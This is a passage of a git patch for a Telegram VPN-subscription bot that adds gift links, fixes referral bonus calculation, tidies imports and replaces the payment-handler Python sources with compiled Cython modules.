From c01b528055b6dec690183b2dd5b0f2c1b7afda00 Mon Sep 17 00:00:00 2001 From: Vladless Date: Thu, 19 Dec 2024 20:37:41 +0300 Subject: [PATCH] fix_refferal/GIFTS/redirect/name_sub and more --- assets/schema.sql | 17 +- backup.py | 2 +- bot.py | 3 +- client.py | 3 +- database.py | 148 +- filters/admin.py | 1 + handlers/__init__.py | 1 + handlers/admin/admin_servers.py | 2 +- handlers/admin/admin_user_editor.py | 11 +- handlers/donate.py | 2 +- handlers/instructions/instructions.py | 2 +- handlers/keys/key_management.py | 108 +- handlers/keys/key_utils.py | 6 +- handlers/keys/keys.py | 2 +- handlers/keys/subscriptions.py | 27 +- handlers/keys/trial_key.py | 2 +- handlers/notifications.py | 4 +- handlers/pay.py | 12 +- handlers/payments/__init__.py | 7 +- handlers/payments/cryprobot_pay.c | 20187 +++++++++++++++ ...probot_pay.cpython-312-x86_64-linux-gnu.so | Bin 0 -> 1255992 bytes handlers/payments/cryprobot_pay.py | 213 - handlers/payments/freekassa_pay.c | 19381 +++++++++++++++ ...ekassa_pay.cpython-312-x86_64-linux-gnu.so | Bin 0 -> 1036624 bytes handlers/payments/freekassa_pay.py | 201 - handlers/payments/gift.c | 19616 +++++++++++++++ .../gift.cpython-312-x86_64-linux-gnu.so | Bin 0 -> 1231616 bytes handlers/payments/robokassa_pay.c | 20441 ++++++++++++++++ ...okassa_pay.cpython-312-x86_64-linux-gnu.so | Bin 0 -> 1364144 bytes handlers/payments/robokassa_pay.py | 277 - handlers/payments/stars_pay.c | 19367 +++++++++++++++ .../stars_pay.cpython-312-x86_64-linux-gnu.so | Bin 0 -> 1180600 bytes handlers/payments/stars_pay.py | 213 - handlers/payments/utils.c | 10171 ++++++++ .../utils.cpython-312-x86_64-linux-gnu.so | Bin 0 -> 387024 bytes handlers/payments/utils.py | 20 - handlers/payments/yookassa_pay.c | 19509 +++++++++++++++ ...okassa_pay.cpython-312-x86_64-linux-gnu.so | Bin 0 -> 1121328 bytes handlers/payments/yookassa_pay.py | 265 - handlers/payments/yoomoney_pay.c | 18033 ++++++++++++++ ...omoney_pay.cpython-312-x86_64-linux-gnu.so | Bin 0 -> 1045120 bytes handlers/payments/yoomoney_pay.py | 206 - handlers/profile.py | 10 +- handlers/start.py | 147 +- handlers/utils.py | 2 +- main.py | 136 +- middlewares/admin.py | 1 + middlewares/database.py | 1 + servers.py | 2 +- 49 files changed, 147036 insertions(+), 1723 deletions(-) create mode 100644 handlers/payments/cryprobot_pay.c create mode 100755 handlers/payments/cryprobot_pay.cpython-312-x86_64-linux-gnu.so delete mode 100644 handlers/payments/cryprobot_pay.py create mode 100644 handlers/payments/freekassa_pay.c create mode 100755 handlers/payments/freekassa_pay.cpython-312-x86_64-linux-gnu.so delete mode 100644 handlers/payments/freekassa_pay.py create mode 100644 handlers/payments/gift.c create mode 100755 handlers/payments/gift.cpython-312-x86_64-linux-gnu.so create mode 100644 handlers/payments/robokassa_pay.c create mode 100755 handlers/payments/robokassa_pay.cpython-312-x86_64-linux-gnu.so delete mode 100644 handlers/payments/robokassa_pay.py create mode 100644 handlers/payments/stars_pay.c create mode 100755 handlers/payments/stars_pay.cpython-312-x86_64-linux-gnu.so delete mode 100644 handlers/payments/stars_pay.py create mode 100644 handlers/payments/utils.c create mode 100755 handlers/payments/utils.cpython-312-x86_64-linux-gnu.so delete mode 100644 handlers/payments/utils.py create mode 100644 handlers/payments/yookassa_pay.c create mode 100755 handlers/payments/yookassa_pay.cpython-312-x86_64-linux-gnu.so delete mode 100644 handlers/payments/yookassa_pay.py create mode 100644 handlers/payments/yoomoney_pay.c create mode 100755 handlers/payments/yoomoney_pay.cpython-312-x86_64-linux-gnu.so delete mode 100644 handlers/payments/yoomoney_pay.py diff --git a/assets/schema.sql b/assets/schema.sql index 4659ed3e..05766f42 100644 --- a/assets/schema.sql +++ b/assets/schema.sql @@ -83,5 +83,20 @@ CREATE TABLE IF NOT EXISTS servers api_url TEXT NOT NULL, subscription_url TEXT NOT NULL, inbound_id TEXT NOT NULL, - UNIQUE (cluster_name, server_name) -- Уникальность по названию кластера и сервера + UNIQUE (cluster_name, server_name) +); + + +CREATE TABLE IF NOT EXISTS gifts +( + gift_id TEXT PRIMARY KEY NOT NULL, + sender_tg_id BIGINT NOT NULL, + selected_months INTEGER NOT NULL, + expiry_time TIMESTAMP WITH TIME ZONE NOT NULL, + gift_link TEXT NOT NULL, + created_at TIMESTAMP WITH TIME ZONE DEFAULT CURRENT_TIMESTAMP, + is_used BOOLEAN NOT NULL DEFAULT FALSE, + recipient_tg_id BIGINT, + CONSTRAINT fk_sender FOREIGN KEY (sender_tg_id) REFERENCES users (tg_id), + CONSTRAINT fk_recipient FOREIGN KEY (recipient_tg_id) REFERENCES users (tg_id) ); \ No newline at end of file diff --git a/backup.py b/backup.py index 329d7a22..c6811fa7 100644 --- a/backup.py +++ b/backup.py @@ -3,8 +3,8 @@ import subprocess from datetime import datetime from aiogram.types import BufferedInputFile -from config import ADMIN_ID, BACK_DIR, DB_NAME, DB_PASSWORD, DB_USER +from config import ADMIN_ID, BACK_DIR, DB_NAME, DB_PASSWORD, DB_USER from logger import logger diff --git a/bot.py b/bot.py index 8799cd3c..16ef87d6 100644 --- a/bot.py +++ b/bot.py @@ -5,8 +5,8 @@ from aiogram.client.default import DefaultBotProperties from aiogram.enums import ParseMode from aiogram.fsm.storage.memory import MemoryStorage from aiogram.types import ErrorEvent -from config import API_TOKEN +from config import API_TOKEN from logger import logger from middlewares.admin import AdminMiddleware from middlewares.database import DatabaseMiddleware @@ -23,7 +23,6 @@ dp.callback_query.middleware(LoggingMiddleware()) dp.message.middleware(AdminMiddleware()) dp.callback_query.middleware(AdminMiddleware()) - dp.message.middleware(UserMiddleware()) dp.callback_query.middleware(UserMiddleware()) diff --git a/client.py b/client.py index 76451786..0ab89e14 100644 --- a/client.py +++ b/client.py @@ -1,5 +1,6 @@ import py3xui +from config import LIMIT_IP from logger import logger @@ -72,7 +73,7 @@ async def extend_client_key( client.sub_id = email client.total_gb = total_gb client.enable = True - client.limit_ip = 1 + client.limit_ip = LIMIT_IP client.inbound_id = inbound_id await xui.client.update(client.id, client) diff --git a/database.py b/database.py index 4a12915c..615aafad 100644 --- a/database.py +++ b/database.py @@ -2,8 +2,8 @@ from datetime import datetime from typing import Any import asyncpg -from config import DATABASE_URL, REFERRAL_BONUS_PERCENTAGES +from config import DATABASE_URL, REFERRAL_BONUS_PERCENTAGES from logger import logger @@ -11,7 +11,6 @@ async def init_db(file_path: str = "assets/schema.sql"): with open(file_path) as file: sql_content = file.read() - # Split the file content into individual SQL statements and connect to the database statements = [stmt.strip() for stmt in sql_content.split(";") if stmt.strip()] conn = await asyncpg.connect(DATABASE_URL) @@ -92,7 +91,6 @@ async def get_all_coupons(session: Any): Exception: В случае ошибки при получении данных из базы """ try: - # Выполняем запрос на получение всех купонов из базы данных coupons = await session.fetch( """ SELECT code, amount, usage_limit, usage_count @@ -100,12 +98,10 @@ async def get_all_coupons(session: Any): """ ) - # Логируем успешное получение списка купонов logger.info(f"Успешно получено {len(coupons)} купонов из базы данных") return coupons except Exception as e: - # Подробное логирование ошибки при получении купонов logger.error(f"Критическая ошибка при получении списка купонов: {e}") logger.exception("Трассировка стека ошибки получения купонов") return [] @@ -129,7 +125,6 @@ async def delete_coupon_from_db(coupon_code: str, session: Any): result = await delete_coupon_from_db('SALE50', session) """ try: - # Проверяем существование купона в базе данных coupon_record = await session.fetchrow( """ SELECT id FROM coupons WHERE code = $1 @@ -137,12 +132,10 @@ async def delete_coupon_from_db(coupon_code: str, session: Any): coupon_code, ) - # Если купон не найден, возвращаем False if not coupon_record: logger.info(f"Купон {coupon_code} не найден в базе данных") return False - # Удаляем купон из базы данных await session.execute( """ DELETE FROM coupons WHERE code = $1 @@ -150,12 +143,10 @@ async def delete_coupon_from_db(coupon_code: str, session: Any): coupon_code, ) - # Логируем успешное удаление купона logger.info(f"Купон {coupon_code} успешно удален из базы данных") return True except Exception as e: - # Логируем ошибку на русском с подробным описанием logger.error(f"Произошла ошибка при удалении купона {coupon_code}: {e}") return False @@ -577,12 +568,11 @@ async def get_all_users(conn): async def add_referral(referred_tg_id: int, referrer_tg_id: int, session: Any): try: - # Если айди приглашенного совпадает с айди пригласившего + if referred_tg_id == referrer_tg_id: logger.warning(f"Пользователь {referred_tg_id} попытался использовать свою собственную реферальную ссылку.") return - # Вставка записи о реферале в базу данных await session.execute( """ INSERT INTO referrals (referred_tg_id, referrer_tg_id) @@ -619,7 +609,6 @@ async def handle_referral_on_balance_update(tg_id: int, amount: float): logger.info(f"Начало обработки реферальной системы для пользователя {tg_id}") MAX_REFERRAL_LEVELS = len(REFERRAL_BONUS_PERCENTAGES.keys()) - visited_tg_ids = set() current_tg_id = tg_id @@ -644,11 +633,16 @@ async def handle_referral_on_balance_update(tg_id: int, amount: float): ) if not referral: + logger.info(f"Цепочка рефералов завершена на уровне {level}.") break referrer_tg_id = referral["referrer_tg_id"] - referral_chain.append({"tg_id": referrer_tg_id, "level": level}) + if referrer_tg_id in visited_tg_ids: + logger.warning(f"Реферер {referrer_tg_id} уже обработан. Пропуск.") + break + + referral_chain.append({"tg_id": referrer_tg_id, "level": level}) current_tg_id = referrer_tg_id for referral in referral_chain: @@ -656,14 +650,16 @@ async def handle_referral_on_balance_update(tg_id: int, amount: float): level = referral["level"] bonus_percent = REFERRAL_BONUS_PERCENTAGES.get(level, 0) - bonus = amount * bonus_percent - bonus = max(bonus, 0) + if bonus_percent <= 0: + logger.warning(f"Процент бонуса для уровня {level} равен 0. Пропуск.") + continue + + bonus = round(amount * bonus_percent, 2) if bonus > 0: logger.info( - f"Начисление бонуса {bonus} рублей рефереру {referrer_tg_id} на уровне {level}" + f"Начисление бонуса {bonus} рублей рефереру {referrer_tg_id} на уровне {level}." ) - await update_balance(referrer_tg_id, bonus) except Exception as e: @@ -676,22 +672,6 @@ async def handle_referral_on_balance_update(tg_id: int, amount: float): async def get_referral_stats(referrer_tg_id: int): - """ - Получение подробной статистики рефералов для указанного пользователя. - - Args: - referrer_tg_id (int): Telegram ID пользователя, для которого запрашивается статистика рефералов. - - Returns: - dict: Словарь с детальной статистикой рефералов, содержащий: - - total_referrals (int): Общее количество рефералов - - active_referrals (int): Количество активных рефералов (с начисленным бонусом) - - referrals_by_level (dict): Количество рефералов по каждому уровню - - total_referral_bonus (float): Общая сумма бонусов от рефералов - - Raises: - Exception: В случае ошибки при подключении к базе данных или выполнении запроса - """ conn = None try: conn = await asyncpg.connect(DATABASE_URL) @@ -699,25 +679,22 @@ async def get_referral_stats(referrer_tg_id: int): f"Установлено подключение к базе данных для получения статистики рефералов пользователя {referrer_tg_id}" ) - # Общее количество рефералов total_referrals = await conn.fetchval( """ SELECT COUNT(*) FROM referrals WHERE referrer_tg_id = $1 - """, + """, referrer_tg_id, ) logger.debug(f"Получено общее количество рефералов: {total_referrals}") - # Активные рефералы active_referrals = await conn.fetchval( """ SELECT COUNT(*) FROM referrals WHERE referrer_tg_id = $1 AND reward_issued = TRUE - """, + """, referrer_tg_id, ) logger.debug(f"Получено количество активных рефералов: {active_referrals}") - # Рефералы по уровням referrals_by_level_records = await conn.fetch( """ WITH RECURSIVE referral_levels AS ( @@ -739,11 +716,10 @@ async def get_referral_stats(referrer_tg_id: int): JOIN referrals r ON rl.referred_tg_id = r.referred_tg_id GROUP BY level ORDER BY level - """, + """, referrer_tg_id, ) - # Преобразование результатов в словарь referrals_by_level = { record["level"]: { "total": record["level_count"], @@ -753,17 +729,37 @@ async def get_referral_stats(referrer_tg_id: int): } logger.debug(f"Получена статистика рефералов по уровням: {referrals_by_level}") - # Общая сумма бонусов от рефералов total_referral_bonus = await conn.fetchval( """ - SELECT COALESCE(SUM(amount), 0) - FROM payments - WHERE tg_id IN ( - SELECT referred_tg_id + WITH RECURSIVE referral_levels AS ( + SELECT + referred_tg_id, + referrer_tg_id, + 1 AS level FROM referrals WHERE referrer_tg_id = $1 - ) AND status = 'success' - """, + + UNION + + SELECT + r.referred_tg_id, + r.referrer_tg_id, + rl.level + 1 + FROM referrals r + JOIN referral_levels rl ON r.referrer_tg_id = rl.referred_tg_id + WHERE rl.level < 5 + ) + SELECT + SUM(p.amount * CASE + WHEN rl.level = 1 THEN 0.25 + WHEN rl.level = 2 THEN 0.10 + WHEN rl.level = 3 THEN 0.05 + ELSE 0 + END) AS total_bonus + FROM referral_levels rl + JOIN payments p ON rl.referred_tg_id = p.tg_id + WHERE p.status = 'success' + """, referrer_tg_id, ) logger.debug( @@ -788,6 +784,7 @@ async def get_referral_stats(referrer_tg_id: int): logger.info("Закрытие подключения к базе данных") + async def update_key_expiry(client_id: str, new_expiry_time: int): """ Обновление времени истечения ключа для указанного клиента. @@ -1204,7 +1201,7 @@ async def get_servers_from_db(): async def delete_user_data(session: Any, tg_id: int): - + try: await session.execute("DELETE FROM gifts WHERE sender_tg_id = $1 OR recipient_tg_id = $1", tg_id) except Exception as e: @@ -1216,3 +1213,56 @@ async def delete_user_data(session: Any, tg_id: int): await session.execute("DELETE FROM connections WHERE tg_id = $1", tg_id) await session.execute("DELETE FROM keys WHERE tg_id = $1", tg_id) await session.execute("DELETE FROM referrals WHERE referrer_tg_id = $1", tg_id) + + +async def store_gift_link( + gift_id: str, sender_tg_id: int, selected_months: int, expiry_time: datetime, gift_link: str, session: Any = None +): + """ + Добавляет информацию о подарке в базу данных. + + Args: + gift_id (str): Уникальный идентификатор подарка + sender_tg_id (int): Идентификатор пользователя, который отправил подарок + selected_months (int): Количество месяцев подписки + expiry_time (datetime): Время окончания подписки + gift_link (str): Ссылка для активации подарка + session (Any): Сессия базы данных для выполнения запроса + + Returns: + bool: True, если информация о подарке успешно добавлена, иначе False + + Raises: + Exception: В случае ошибки при сохранении информации о подарке + """ + conn = None + try: + conn = session if session is not None else await asyncpg.connect(DATABASE_URL) + + result = await conn.execute( + """ + INSERT INTO gifts (gift_id, sender_tg_id, recipient_tg_id, selected_months, expiry_time, gift_link, created_at, is_used) + VALUES ($1, $2, NULL, $3, $4, $5, $6, FALSE) + """, + gift_id, + sender_tg_id, + selected_months, + expiry_time, + gift_link, + datetime.utcnow(), + ) + + if result: + logger.info(f"Подарок с ID {gift_id} успешно добавлен в базу данных.") + return True + else: + logger.error(f"Не удалось добавить подарок с ID {gift_id} в базу данных.") + return False + except Exception as e: + + logger.error(f"Ошибка при сохранении подарка с ID {gift_id} в базе данных: {e}") + return False + + finally: + if conn is not None and session is None: + await conn.close() diff --git a/filters/admin.py b/filters/admin.py index d940b31f..81f80564 100644 --- a/filters/admin.py +++ b/filters/admin.py @@ -1,6 +1,7 @@ from aiogram.filters import BaseFilter from aiogram.types import Message + from config import ADMIN_ID diff --git a/handlers/__init__.py b/handlers/__init__.py index f984092c..879c3c1b 100644 --- a/handlers/__init__.py +++ b/handlers/__init__.py @@ -21,6 +21,7 @@ router.include_routers( pay_router, donate_router, coupons_router, + notifications_router, payments_router, keys_router, diff --git a/handlers/admin/admin_servers.py b/handlers/admin/admin_servers.py index 8a030119..ba178b41 100644 --- a/handlers/admin/admin_servers.py +++ b/handlers/admin/admin_servers.py @@ -4,10 +4,10 @@ from aiogram.fsm.context import FSMContext from aiogram.fsm.state import State, StatesGroup from aiogram.types import InlineKeyboardButton from aiogram.utils.keyboard import InlineKeyboardBuilder -from config import ADMIN_PASSWORD, ADMIN_USERNAME, DATABASE_URL from py3xui import AsyncApi from backup import create_backup_and_send_to_admins +from config import ADMIN_PASSWORD, ADMIN_USERNAME, DATABASE_URL from database import check_unique_server_name, get_servers_from_db from filters.admin import IsAdminFilter diff --git a/handlers/admin/admin_user_editor.py b/handlers/admin/admin_user_editor.py index 3e00bed1..fd57f4c8 100644 --- a/handlers/admin/admin_user_editor.py +++ b/handlers/admin/admin_user_editor.py @@ -7,16 +7,9 @@ from aiogram.fsm.context import FSMContext from aiogram.fsm.state import State, StatesGroup from aiogram.types import CallbackQuery, InlineKeyboardButton, InlineKeyboardMarkup from aiogram.utils.keyboard import InlineKeyboardBuilder + from config import TOTAL_GB - -from database import ( - get_client_id_by_email, - get_servers_from_db, - restore_trial, - update_key_expiry, - delete_user_data -) - +from database import delete_user_data, get_client_id_by_email, get_servers_from_db, restore_trial, update_key_expiry from filters.admin import IsAdminFilter from handlers.keys.key_utils import ( delete_key_from_cluster, diff --git a/handlers/donate.py b/handlers/donate.py index 6a37edc8..ad460085 100644 --- a/handlers/donate.py +++ b/handlers/donate.py @@ -3,8 +3,8 @@ from aiogram.fsm.context import FSMContext from aiogram.fsm.state import State, StatesGroup from aiogram.types import InlineKeyboardButton, LabeledPrice, PreCheckoutQuery from aiogram.utils.keyboard import InlineKeyboardBuilder -from config import RUB_TO_XTR +from config import RUB_TO_XTR from logger import logger diff --git a/handlers/instructions/instructions.py b/handlers/instructions/instructions.py index b8745d92..55436c68 100644 --- a/handlers/instructions/instructions.py +++ b/handlers/instructions/instructions.py @@ -4,8 +4,8 @@ from typing import Any from aiogram import F, Router, types from aiogram.types import BufferedInputFile, InlineKeyboardButton from aiogram.utils.keyboard import InlineKeyboardBuilder -from config import CONNECT_IOS, CONNECT_WINDOWS, SUPPORT_CHAT_URL +from config import CONNECT_IOS, CONNECT_WINDOWS, SUPPORT_CHAT_URL from handlers.texts import INSTRUCTION_PC, INSTRUCTIONS, KEY_MESSAGE router = Router() diff --git a/handlers/keys/key_management.py b/handlers/keys/key_management.py index 1ef37a36..6c320c79 100644 --- a/handlers/keys/key_management.py +++ b/handlers/keys/key_management.py @@ -8,6 +8,7 @@ from aiogram.fsm.context import FSMContext from aiogram.fsm.state import State, StatesGroup from aiogram.types import CallbackQuery, InlineKeyboardButton, Message from aiogram.utils.keyboard import InlineKeyboardBuilder + from config import ( CONNECT_ANDROID, CONNECT_IOS, @@ -18,7 +19,6 @@ from config import ( SUPPORT_CHAT_URL, TRIAL_TIME, ) - from database import get_balance, get_trial, store_key, update_balance from handlers.keys.key_utils import create_key_on_cluster from handlers.texts import DISCOUNTS, KEY, key_message_success @@ -36,9 +36,7 @@ class Form(StatesGroup): @router.callback_query(F.data == "create_key") -async def process_callback_create_key( - callback_query: CallbackQuery, state: FSMContext, session: Any -): +async def process_callback_create_key(callback_query: CallbackQuery, state: FSMContext, session: Any): server_id = "все сервера" await state.update_data(selected_server_id=server_id) await select_server(callback_query, state, session) @@ -49,14 +47,9 @@ async def select_server(callback_query: CallbackQuery, state: FSMContext, sessio if trial_status == 1: builder = InlineKeyboardBuilder() builder.row( - InlineKeyboardButton( - text="✅ Да, подключить новое устройство", - callback_data="confirm_create_new_key", - ) - ) - builder.row( - InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile") + InlineKeyboardButton(text="✅ Да, подключить новое устройство", callback_data="confirm_create_new_key") ) + builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) await callback_query.message.answer( text=KEY, @@ -64,31 +57,22 @@ async def select_server(callback_query: CallbackQuery, state: FSMContext, sessio ) await state.update_data(creating_new_key=True) else: - await handle_key_creation( - callback_query.message.chat.id, state, session, callback_query - ) + await handle_key_creation(callback_query.message.chat.id, state, session, callback_query) @router.callback_query(F.data == "confirm_create_new_key") -async def confirm_create_new_key( - callback_query: CallbackQuery, state: FSMContext, session: Any -): +async def confirm_create_new_key(callback_query: CallbackQuery, state: FSMContext, session: Any): tg_id = callback_query.message.chat.id logger.info(f"User {tg_id} confirmed creation of a new key.") - logger.info( - f"Balance for user {tg_id} is sufficient. Proceeding with key creation." - ) + logger.info(f"Balance for user {tg_id} is sufficient. Proceeding with key creation.") await handle_key_creation(tg_id, state, session, callback_query) async def handle_key_creation( - tg_id: int, - state: FSMContext, - session: Any, - message_or_query: Message | CallbackQuery, + tg_id: int, state: FSMContext, session: Any, message_or_query: Message | CallbackQuery ): """Создание ключа с учётом выбора тарифного плана.""" current_time = datetime.utcnow() @@ -98,9 +82,7 @@ async def handle_key_creation( expiry_time = current_time + timedelta(days=TRIAL_TIME) logger.info(f"Assigned 1-day trial to user {tg_id}.") - await session.execute( - "UPDATE connections SET trial = 1 WHERE tg_id = $1", tg_id - ) + await session.execute("UPDATE connections SET trial = 1 WHERE tg_id = $1", tg_id) await create_key(tg_id, expiry_time, state, session, message_or_query) else: builder = InlineKeyboardBuilder() @@ -117,27 +99,21 @@ async def handle_key_creation( builder.row( InlineKeyboardButton( - text=f"📅 {plan_id} мес. - {price}₽{discount_text}", - callback_data=f"select_plan_{plan_id}", + text=f"📅 {plan_id} мес. - {price}₽{discount_text}", callback_data=f"select_plan_{plan_id}" ) ) - builder.row( - InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile") - ) + builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) await message_or_query.message.answer( - "💳 Выберите тарифный план для создания нового ключа:", - reply_markup=builder.as_markup(), + "💳 Выберите тарифный план для создания нового ключа:", reply_markup=builder.as_markup() ) await state.update_data(tg_id=tg_id) await state.set_state(Form.waiting_for_server_selection) @router.callback_query(F.data.startswith("select_plan_")) -async def select_tariff_plan( - callback_query: CallbackQuery, state: FSMContext, session: Any -): +async def select_tariff_plan(callback_query: CallbackQuery, state: FSMContext, session: Any): tg_id = callback_query.message.chat.id plan_id = callback_query.data.split("_")[-1] plan_price = RENEWAL_PRICES.get(plan_id) @@ -151,12 +127,8 @@ async def select_tariff_plan( balance = await get_balance(tg_id) if balance < plan_price: builder = InlineKeyboardBuilder() - builder.row( - InlineKeyboardButton(text="💳 Пополнить баланс", callback_data="pay") - ) - builder.row( - InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile") - ) + builder.row(InlineKeyboardButton(text="💳 Пополнить баланс", callback_data="pay")) + builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) await callback_query.message.answer( "💳 Недостаточно средств для создания подписки. Пополните баланс в личном кабинете.", reply_markup=builder.as_markup(), @@ -172,11 +144,7 @@ async def select_tariff_plan( async def create_key( - tg_id: int, - expiry_time: datetime, - state: FSMContext, - session: Any, - message_or_query: Message | CallbackQuery, + tg_id: int, expiry_time: datetime, state: FSMContext, session: Any, message_or_query: Message | CallbackQuery ): """Создаёт ключ с заданным сроком действия.""" while True: @@ -190,9 +158,7 @@ async def create_key( ) if not existing_key: break - logger.warning( - f"Key name '{key_name}' already exists for user {tg_id}. Generating a new one." - ) + logger.warning(f"Key name '{key_name}' already exists for user {tg_id}. Generating a new one.") client_id = str(uuid.uuid4()) email = key_name.lower() @@ -217,21 +183,17 @@ async def create_key( await asyncio.gather(*tasks) logger.info(f"Key created on cluster {least_loaded_cluster} for user {tg_id}.") - await store_key( - tg_id, - client_id, - email, - expiry_timestamp, - public_link, - least_loaded_cluster, - session, - ) + await store_key(tg_id, client_id, email, expiry_timestamp, public_link, least_loaded_cluster, session) except Exception as e: logger.error(f"Error while creating the key for user {tg_id} on cluster: {e}") - await message_or_query.message.answer( - "❌ Произошла ошибка при создании ключа. Пожалуйста, попробуйте снова." - ) + + if isinstance(message_or_query, Message): + await message_or_query.answer("❌ Произошла ошибка при создании ключа. Пожалуйста, попробуйте снова.") + elif isinstance(message_or_query, CallbackQuery): + await message_or_query.message.answer( + "❌ Произошла ошибка при создании ключа. Пожалуйста, попробуйте снова." + ) return builder = InlineKeyboardBuilder() @@ -241,23 +203,19 @@ async def create_key( InlineKeyboardButton(text="🤖 Скачать для Android", url=DOWNLOAD_ANDROID), ) builder.row( - InlineKeyboardButton( - text="🍏 Подключить на iOS", url=f"{CONNECT_IOS}{public_link}" - ), - InlineKeyboardButton( - text="🤖 Подключить на Android", url=f"{CONNECT_ANDROID}{public_link}" - ), - ) - builder.row( - InlineKeyboardButton( - text="💻 Windows/Linux", callback_data=f"connect_pc|{email}" - ) + InlineKeyboardButton(text="🍏 Подключить на iOS", url=f"{CONNECT_IOS}{public_link}"), + InlineKeyboardButton(text="🤖 Подключить на Android", url=f"{CONNECT_ANDROID}{public_link}"), ) + builder.row(InlineKeyboardButton(text="💻 Windows/Linux", callback_data=f"connect_pc|{email}")) builder.row(InlineKeyboardButton(text="👤 Личный кабинет", callback_data="profile")) remaining_time = expiry_time - datetime.utcnow() days = remaining_time.days key_message = key_message_success(public_link, f"⏳ Осталось дней: {days} 📅") - await message_or_query.message.answer(key_message, reply_markup=builder.as_markup()) + if isinstance(message_or_query, Message): + await message_or_query.answer(key_message, reply_markup=builder.as_markup()) + elif isinstance(message_or_query, CallbackQuery): + await message_or_query.message.answer(key_message, reply_markup=builder.as_markup()) + await state.clear() diff --git a/handlers/keys/key_utils.py b/handlers/keys/key_utils.py index a66e1bec..067f6480 100644 --- a/handlers/keys/key_utils.py +++ b/handlers/keys/key_utils.py @@ -1,10 +1,10 @@ import asyncio import asyncpg -from config import ADMIN_PASSWORD, ADMIN_USERNAME, DATABASE_URL, TOTAL_GB from py3xui import AsyncApi from client import add_client, delete_client, extend_client_key +from config import ADMIN_PASSWORD, ADMIN_USERNAME, DATABASE_URL, LIMIT_IP, TOTAL_GB from database import get_servers_from_db from logger import logger @@ -46,7 +46,7 @@ async def create_key_on_cluster(cluster_id, tg_id, client_id, email, expiry_time client_id, email, tg_id, - limit_ip=1, + limit_ip=LIMIT_IP, total_gb=TOTAL_GB, expiry_time=expiry_timestamp, enable=True, @@ -184,7 +184,7 @@ async def update_key_on_cluster(tg_id, client_id, email, expiry_time, cluster_id client_id, email, tg_id, - limit_ip=1, + limit_ip=LIMIT_IP, total_gb=TOTAL_GB, expiry_time=expiry_time, enable=True, diff --git a/handlers/keys/keys.py b/handlers/keys/keys.py index 48d5e7d8..fa7908cf 100644 --- a/handlers/keys/keys.py +++ b/handlers/keys/keys.py @@ -7,6 +7,7 @@ from typing import Any from aiogram import F, Router, types from aiogram.types import BufferedInputFile, InlineKeyboardButton from aiogram.utils.keyboard import InlineKeyboardBuilder + from config import ( CONNECT_ANDROID, CONNECT_IOS, @@ -16,7 +17,6 @@ from config import ( RENEWAL_PLANS, TOTAL_GB, ) - from database import ( delete_key, get_balance, diff --git a/handlers/keys/subscriptions.py b/handlers/keys/subscriptions.py index a6a2c15b..f60730dd 100644 --- a/handlers/keys/subscriptions.py +++ b/handlers/keys/subscriptions.py @@ -4,13 +4,10 @@ from datetime import datetime import aiohttp import asyncpg from aiohttp import web -from config import DATABASE_URL, TRANSITION_DATE_STR +from config import DATABASE_URL, PROJECT_NAME, SUB_MESSAGE, TRANSITION_DATE_STR from database import get_servers_from_db from logger import logger -import urllib.parse - -from config import PROJECT_NAME, SUB_MESSAGE async def fetch_url_content(url, tg_id): @@ -78,12 +75,10 @@ async def handle_old_subscription(request): conn = await asyncpg.connect(DATABASE_URL) try: - key_info = await conn.fetchrow( - "SELECT created_at FROM keys WHERE email = $1", email + "SELECT created_at, server_id FROM keys WHERE email = $1", email ) - if not key_info: logger.warning(f"Клиент с email {email} не найден в базе.") return web.Response( @@ -92,7 +87,14 @@ async def handle_old_subscription(request): ) created_at_ms = key_info["created_at"] - cluster_name = key_info["cluster_name"] + cluster_name = key_info.get("server_id") + if not cluster_name: + logger.warning(f"У клиента с email {email} отсутствует cluster_name.") + return web.Response( + text="❌ Устаревшие данные. Обратитесь в поддержку.", + status=400, + ) + logger.info(f"Значение created_at для клиента с email {email}: {created_at_ms}, кластер: {cluster_name}") created_at_datetime = datetime.utcfromtimestamp(created_at_ms / 1000) @@ -127,7 +129,9 @@ async def handle_old_subscription(request): "Content-Type": "text/plain; charset=utf-8", "Content-Disposition": "inline", "profile-update-interval": "7", - "profile-title": encoded_project_name, + "profile-title": "base64:" + base64.b64encode( + encoded_project_name.encode("utf-8") + ).decode("utf-8"), } logger.info(f"Возвращаем объединенные подписки для email: {email}") @@ -137,6 +141,7 @@ async def handle_old_subscription(request): await conn.close() + async def handle_new_subscription(request): email = request.match_info.get("email") tg_id = request.match_info.get("tg_id") @@ -200,7 +205,9 @@ async def handle_new_subscription(request): "Content-Type": "text/plain; charset=utf-8", "Content-Disposition": "inline", "profile-update-interval": "7", - "profile-title": encoded_project_name, + "profile-title": "base64:" + base64.b64encode( + encoded_project_name.encode("utf-8") + ).decode("utf-8"), } logger.info(f"Возвращаем объединенные подписки для email: {email}") diff --git a/handlers/keys/trial_key.py b/handlers/keys/trial_key.py index fa0f9745..84deef9e 100644 --- a/handlers/keys/trial_key.py +++ b/handlers/keys/trial_key.py @@ -3,10 +3,10 @@ import uuid from datetime import datetime, timedelta from typing import Any -from config import ADMIN_PASSWORD, ADMIN_USERNAME, PUBLIC_LINK, TOTAL_GB, TRIAL_TIME from py3xui import AsyncApi from client import add_client +from config import ADMIN_PASSWORD, ADMIN_USERNAME, PUBLIC_LINK, TOTAL_GB, TRIAL_TIME from database import get_servers_from_db, store_key, use_trial from handlers.texts import INSTRUCTIONS from handlers.utils import generate_random_email, get_least_loaded_cluster diff --git a/handlers/notifications.py b/handlers/notifications.py index c16832f8..7a2b9271 100644 --- a/handlers/notifications.py +++ b/handlers/notifications.py @@ -4,6 +4,8 @@ from datetime import datetime, timedelta import asyncpg from aiogram import Bot, Router, types from aiogram.utils.keyboard import InlineKeyboardBuilder +from py3xui import AsyncApi + from config import ( ADMIN_PASSWORD, ADMIN_USERNAME, @@ -13,8 +15,6 @@ from config import ( TOTAL_GB, TRIAL_TIME, ) -from py3xui import AsyncApi - from database import ( add_notification, check_notification_time, diff --git a/handlers/pay.py b/handlers/pay.py index 6a9c66e9..bbeadd72 100644 --- a/handlers/pay.py +++ b/handlers/pay.py @@ -2,9 +2,15 @@ from aiogram import F, Router from aiogram.types import CallbackQuery, InlineKeyboardButton from aiogram.utils.keyboard import InlineKeyboardBuilder - -from config import CRYPTO_BOT_ENABLE, 